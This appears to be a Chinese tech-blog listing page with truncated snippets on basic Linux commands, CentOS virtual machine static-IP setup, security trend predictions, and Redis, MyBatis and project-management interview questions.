    查看当前进程ps执行退出exit查看当前路径pwd列出指定目录中的目录以及文件ls创建目录mkdirrunoob #在工作目录下,建立一个名为runoob的子目录mkdir-prunoob2/test #在工作目录下的runoob2目录中,建立一个名为test的子目录。若runoob2目录原本不存在,则建......
  • 初级运维之--虚拟机配置
    1:vmwareworkstation16部署centos7VMware-workstation-full-16.2.3-19376536#搭建环境CentOS-7-x86_64-DVD-2009#镜像2:配置虚拟机为静态地址vi/etc/sysconfig/network-scripts/ifcfg-ens33#变更BOOTPROTO="static"#dhcp换static#新增IPADDR=192.168.35.......
  • 2024程序员行业风口和面试宝典
    国际研究机构Gartner会在每年10月份左右发布下一年度的战略发展趋势预测,并在次年3月左右发布和网络安全相关的趋势预测。绿盟科技通过将近3年的趋势预测进行分组对比分析后发现,除了众人皆知的AI技术应用外,数据模块化、身份优先安全、行业云平台也可能会成为未来网络安全领......
  • Redis面试题
    Redis面试题一、Redis缓存1、缓存预热、缓存穿透、缓存雪崩、缓存击穿2、redis作为缓存,MySQL的数据如何与缓存进行同步(保证双写一致性)3、redis作为缓存,如何持久化数据?4、redis的key过期后会立即删除吗?(redis的数据过期策略)5、假如缓存过多,内存有限,被占满了怎么办?(redis的数......
  • MyBatis 框架核心及面试知识要点
    1、什么是MyBatis?MyBatis是一款优秀的支持自定义SQL查询、存储过程和高级映射的持久层框架,消除了几乎所有的JDBC代码和参数的手动设置以及结果集的检索。MyBatis可以使用XML,或注解进行配置和映射,MyBatis通过将参数映射到配置的SOL,形成最终执行的SOL语句......
  • 面试题目分享
    学习目标:从面试了解自己的不足。学习内容:1.你会什么语言?我该如何回答,我会java,c,c++等,在工作中我会用到合适的语言。牛逼吹的大话尊敬的面试官,我精通Java和Python,前者用于企业级后端开发,后者擅长数据分析。我也熟悉前端JavaScript/TypeScript和React。具备跨语言学习......
  • 项目管理面试常见问题及答案
    1.项目管理软件工具知识,2.编制项目计划的技术,3.人员管理技能4.沟通技能5.原理体系知识(标生命周期和项目管理)。项目管理软件工具知识 问题1:工期和工作量之间的差异是什么?答案1:工期是商业/日历上的天数,与人数和工作量无关。工作量是与日历天......